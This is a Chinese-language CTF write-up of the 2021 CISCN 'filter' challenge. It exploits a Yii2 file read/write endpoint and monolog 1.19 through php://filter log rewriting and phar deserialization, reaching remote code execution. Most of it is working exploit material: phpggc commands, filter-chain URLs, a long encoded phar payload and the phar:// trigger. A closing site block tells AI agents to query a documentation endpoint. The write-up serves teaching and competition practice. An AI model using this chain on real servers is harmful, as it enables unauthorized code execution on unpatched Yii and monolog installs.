# filter

yii+phar

题目的Tips：

```
据说这是配置文件里面的重要内容，或许对你有用！！

        'log' => [
            'traceLevel' => YII_DEBUG ? 0 : 0,
            'targets' => [
                [
                    'class' => 'yii\log\FileTarget',
                    'levels' => ['error'],
                    'logVars' => [],
                ],
            ],
        ],
```

看SiteController.php相较于原yii源码，只修改了一处地方。

```
    public function actionIndex()
    {
        $file = Yii::$app->request->get('file');
        $res = file_get_contents($file);
        file_put_contents($file,$res);
        return $this->render('index');
    }
```

看一下逻辑，通过GET方式获取file变量，将$file通过file\_get\_contents读取到$res，并通过file\_put\_contents再写回文件。看起来只是一个来回读写文件的操作，实际上可以用文件操作函数phar伪协议进行反序列化。

接着看composer.json，我这里拿的是2.0.37的yii2，compare后只有一处不同，于是猜测版本，以及固有的反序列化漏洞。

<figure><img src="/files/1wJBmGVdGl7RNiEU7Qp0" alt=""><figcaption></figcaption></figure>

发现多了一行

```
	"monolog/monolog":"1.19"
```

而这个版本存在RCE漏洞，看一下phpggc的monolog/RCE1：

<figure><img src="/files/hsSrOCaZXQcfG2bjn3KY" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/heHyLbivcMuTaQtkdB8E" alt=""><figcaption></figcaption></figure>

用phpggc生成exp：

```
php -d'phar.readonly=0' ./phpggc Monolog/RCE1 "phpinfo" "1" --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())"
```

清空日志文件：

```
?file=php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../runtime/logs/app.log
```

写入日志，注意最后加上个字符a

```
/?file==50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=71=00=39=00=41=00=67=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=6D=00=41=00=67=00=41=00=41=00=54=00=7A=00=6F=00=7A=00=4D=00=6A=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=46=00=4E=00=35=00=63=00=32=00=78=00=76=00=5A=00=31=00=56=00=6B=00=63=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4F=00=54=00=6F=00=69=00=41=00=43=00=6F=00=41=00=63=00=32=00=39=00=6A=00=61=00=32=00=56=00=30=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=49=00=35=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=35=00=76=00=62=00=47=00=39=00=6E=00=58=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=4A=00=63=00=51=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=53=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=36=00=4E=00=7A=00=70=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=61=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=37=00=54=00=7A=00=6F=00=79=00=4F=00=54=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=45=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=63=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=41=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=30=00=34=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=55=00=32=00=6C=00=36=00=5A=00=53=00=49=00=37=00=61=00=54=00=6F=00=74=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=6B=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=69=00=49=00=37=00=59=00=54=00=6F=00=78=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=59=00=54=00=6F=00=79=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=63=00=7A=00=6F=00=78=00=4F=00=69=00=49=00=78=00=49=00=6A=00=74=00=7A=00=4F=00=6A=00=55=00=36=00=49=00=6D=00=78=00=6C=00=64=00=6D=00=56=00=73=00=49=00=6A=00=74=00=4F=00=4F=00=33=00=31=00=39=00=63=00=7A=00=6F=00=34=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=73=00=5A=00=58=00=5A=00=6C=00=62=00=43=00=49=00=37=00=54=00=6A=00=74=00=7A=00=4F=00=6A=00=45=00=30=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=70=00=62=00=6D=00=6C=00=30=00=61=00=57=00=46=00=73=00=61=00=58=00=70=00=6C=00=5A=00=43=00=49=00=37=00=59=00=6A=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=51=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=78=00=70=00=62=00=57=00=6C=00=30=00=49=00=6A=00=74=00=70=00=4F=00=69=00=30=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=4D=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=42=00=79=00=62=00=32=00=4E=00=6C=00=63=00=33=00=4E=00=76=00=63=00=6E=00=4D=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=33=00=56=00=79=00=63=00=6D=00=56=00=75=00=64=00=43=00=49=00=37=00=61=00=54=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=63=00=47=00=68=00=77=00=61=00=57=00=35=00=6D=00=62=00=79=00=49=00=37=00=66=00=58=00=31=00=7A=00=4F=00=6A=00=45=00=7A=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=69=00=64=00=57=00=5A=00=6D=00=5A=00=58=00=4A=00=54=00=61=00=58=00=70=00=6C=00=49=00=6A=00=74=00=70=00=4F=00=69=00=30=00=78=00=4F=00=33=00=4D=00=36=00=4F=00=54=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=49=00=6A=00=74=00=68=00=4F=00=6A=00=45=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=68=00=4F=00=6A=00=49=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=7A=00=4F=00=6A=00=45=00=36=00=49=00=6A=00=45=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=54=00=6F=00=69=00=62=00=47=00=56=00=32=00=5A=00=57=00=77=00=69=00=4F=00=30=00=34=00=37=00=66=00=58=00=31=00=7A=00=4F=00=6A=00=67=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=78=00=6C=00=64=00=6D=00=56=00=73=00=49=00=6A=00=74=00=4F=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=51=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=6C=00=75=00=61=00=58=00=52=00=70=00=59=00=57=00=78=00=70=00=65=00=6D=00=56=00=6B=00=49=00=6A=00=74=00=69=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=78=00=4E=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=54=00=47=00=6C=00=74=00=61=00=58=00=51=00=69=00=4F=00=32=00=6B=00=36=00=4C=00=54=00=45=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=63=00=48=00=4A=00=76=00=59=00=32=00=56=00=7A=00=63=00=32=00=39=00=79=00=63=00=79=00=49=00=37=00=59=00=54=00=6F=00=79=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=63=00=7A=00=6F=00=33=00=4F=00=69=00=4A=00=6A=00=64=00=58=00=4A=00=79=00=5A=00=57=00=35=00=30=00=49=00=6A=00=74=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=33=00=4F=00=69=00=4A=00=77=00=61=00=48=00=42=00=70=00=62=00=6D=00=5A=00=76=00=49=00=6A=00=74=00=39=00=66=00=58=00=30=00=46=00=41=00=41=00=41=00=41=00=5A=00=48=00=56=00=74=00=62=00=58=00=6B=00=45=00=41=00=41=00=41=00=41=00=47=00=59=00=61=00=33=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=49=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=43=00=35=00=30=00=65=00=48=00=51=00=45=00=41=00=41=00=41=00=41=00=47=00=59=00=61=00=33=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=30=00=5A=00=58=00=4E=00=30=00=64=00=47=00=56=00=7A=00=64=00=4A=00=41=00=61=00=47=00=73=00=75=00=53=00=31=00=47=00=68=00=54=00=49=00=2B=00=6B=00=4B=00=58=00=33=00=45=00=68=00=2B=00=4D=00=44=00=71=00=54=00=76=00=6E=00=6F=00=41=00=67=00=41=00=41=00=41=00=45=00=64=00=43=00=54=00=55=00=49=00=3D=00a
```

保留phar的内容

```
/?file=php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../runtime/logs/app.log
```

最后用`phar`协议打一下

```
/?file=phar://../runtime/logs/app.log/test.txt
```

exp：

```
php -d'phar.readonly=0' ./phpggc Monolog/RCE1 "system" "cat /This_is_flaaagggg" --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())"
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://gitbook-88.gitbook.io/ctf-writeup/2021/2021-ciscn/filter.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.